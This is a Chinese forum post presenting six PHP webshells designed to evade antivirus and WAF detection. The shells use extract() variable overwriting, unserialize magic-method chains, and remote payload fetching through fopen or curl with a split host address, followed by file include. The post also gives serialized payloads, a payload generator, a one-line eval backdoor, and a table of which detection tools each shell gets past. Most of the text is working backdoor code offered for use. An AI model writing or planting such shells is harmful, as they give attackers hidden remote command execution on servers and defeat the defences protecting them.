[限时投稿]-分享几个对webshell免杀思考的拙文

前言：网上的免杀思路有不少，不过大部分是基于混淆和加密的，我这里分享两个基于匿名函数、变量覆盖和反序列化的webshell思路，思路来源于深信服EDR的RCE漏洞。

ps：远程获取的时候，其实也可以用fopen读取远程文件，更加方便点，但是感觉这个函数貌似比较常用，可能会被一些waf或者查杀工具查到，所以用到了远程获取的地方，分别使用了fopen函数和curl进行。

先把webshell列出来，有下面几位选手：

① extract_webshell

<?php
if($_GET['exec']==="0"){
exit;
}else if($_GET['exec']==="1"){
call_user_func(function() {
$cmd = function($params){
extract($params);
$a($b);
};
$cmd($_REQUEST);
});
}

一号选手解析：

这个思路是深信服EDR变量覆盖导致RCE的漏洞，extract函数注册了数组中的键为变量名，值为变量的值，这里接收$_REQUEST，然后利用变量函数执行$a($b),所以只要传参数exec=1&a=system&b=whoami，即可执行，等同于system(whoami)

② unserialize_extract_webshell

<?php
class test{
public $id = array('a'=>'1','b'=>'2');
function __wakeup(){
echo $this;
}
function __toString(){
call_user_func(function() {
$cmd = function($params){
extract($params);
$a($b);
};
$cmd($this->id);
});
}
};
if($_GET['exec']==="0"){
exit;
}else if($_GET['exec']==="1"){
$test1 = $_GET['string'];
$test2 = unserialize($test1);
}

二号选手解析：

二号是基于一号选手思路的一个升级，利用反序列化来传参数，执行命令的逻辑也比一号要复杂一点，反序列化之后会自动调用wakeup函数，然后echo $this，会调用toString函数，然后的流程就和一号选手一样了，最终我们需要传递的参数就是exec=1&string=O:4:”test”:1:{s:2:”id”;a:2:{s:1:”a”;s:6:”system”;s:1:”b”;s:6:”whoami”;}}

③ unserialize_extract_remote_webshell_fopen

<?php
class test{
public $id = array('a'=>'1','b'=>'2');
function __wakeup(){
echo $this;
exit;
}
function __toString(){
call_user_func(function() {
$cmd = function($params){
extract($params);
$a($b);
};
$cmd($this->id);
});
}
};
if($_GET['exec']==="0"){
exit;
}else if($_GET['exec']==="1"){
$shell_addr_1="127.0";
$shell_addr_2=".0.1";
$shell_addr_3="shell.txt";
$file_handle = fopen("http://".$shell_addr_1.$shell_addr_2."/".$shell_addr_3,"r");
$shell = fgets($file_handle);
$test2 = unserialize($shell);
}
③.2 unserialize_extract_remote_webshell_curl
<?php
class test{
public $id = array('a'=>'1','b'=>'2');
function __wakeup(){
echo $this;
exit;
}
function __toString(){
call_user_func(function() {
$cmd = function($params){
extract($params);
$a($b);
};
$cmd($this->id);
});
}
};
if($_GET['exec']==="0"){
exit;
}else if($_GET['exec']==="1"){
$ch = curl_init();
$timeout = 5;
$shell_addr_1="127.0";
$shell_addr_2=".0.1";
$shell_addr_3="shell.txt";
curl_setopt ($ch, CURLOPT_URL, $shell_addr_1.$shell_addr_2."/".$shell_addr_3);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$test1 = curl_exec($ch);
curl_close($ch);
​
$test2 = unserialize($test1);
}

三号选手解析：

三号是基于二号选手思路的一个升级，反序列化的数据是从网络上远程获取的，也就相当于命令获取到payload，然后再反序列化执行，只需要在我们的远程web服务器上放上我们的payload，payload也和二号选手一样，即把O:4:”test”:1:{s:2:”id”;a:2:{s:1:”a”;s:6:”system”;s:1:”b”;s:6:”whoami”;}}放到服务器上，我本地测试就放到了web根目录的shell.txt上

④ include_shell_fopen

<?php
if($_GET['exec']==="0"){
exit;
}else if($_GET['exec']==="1"){
$shell_addr_1="127.0";
$shell_addr_2=".0.1";
$shell_addr_3="eval.txt";
$file_handle = fopen("http://".$shell_addr_1.$shell_addr_2."/".$shell_addr_3,"r");
$shellcode = fgets($file_handle);
file_put_contents("conf_bak.ini",$shellcode);
include("conf_bak.ini");
unlink("conf_bak.ini");
}

④.2 include_shell_curl

<?php
if($_GET['exec']==="0"){
exit;
}else if($_GET['exec']==="1"){
$ch = curl_init();
$timeout = 5;
$shell_addr_1="127.0";
$shell_addr_2=".0.1";
$shell_addr_3="eval.txt";
curl_setopt ($ch, CURLOPT_URL, $shell_addr_1.$shell_addr_2."/".$shell_addr_3);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$shellcode = curl_exec($ch);
curl_close($ch);
file_put_contents("conf_bak.ini",$shellcode);
include("conf_bak.ini");
unlink("conf_bak.ini");
}

用到反序列化的生成序列化payload的脚本：

serialize_shellcode_creater
<?php
class test{
public $id;
};
$test1 = new test();
$test1->id["a"] = "system";
$test1->id["b"] = "whoami";
print(serialize($test1));

四号选手解析：

四号选手是基于文件包含的思路，而php的远程包含默认是不开启的，所以利用远程获取之后，创建文件进行包含，再把文件删除，文件是会存在一下，然后马上删除。同理，也要把普通的一句话木马放在远程服务器上，我本地测试就把<?php @eval($_GET[“cmd”]);?>放到本地web根目录的eval.txt，最终payload就是exec=1&cmd=system(“whoami”);

1：extract_webshell

2：unserialize_extract_webshell

3：unserialize_extract_remote_webshell_fopen

3.2：unserialize_extract_remote_webshell_curl

4：include_shell_fopen

4.2：include_shell_curl

免杀表现：过√，不过×（最新版本）

后面这几个貌似主要是检测病毒的，检测webshell也只能检测出来比较常见的

基本上市面上的检测工具和网站大部分都能过，原本我写这些是为了试一下能不能过阿里的伏魔赏金计划，但是最终是失败了。

能过阿里伏魔引擎的老哥，如果可以的话能够分享下思路感激不尽！！！可以跟俺讨论讨论！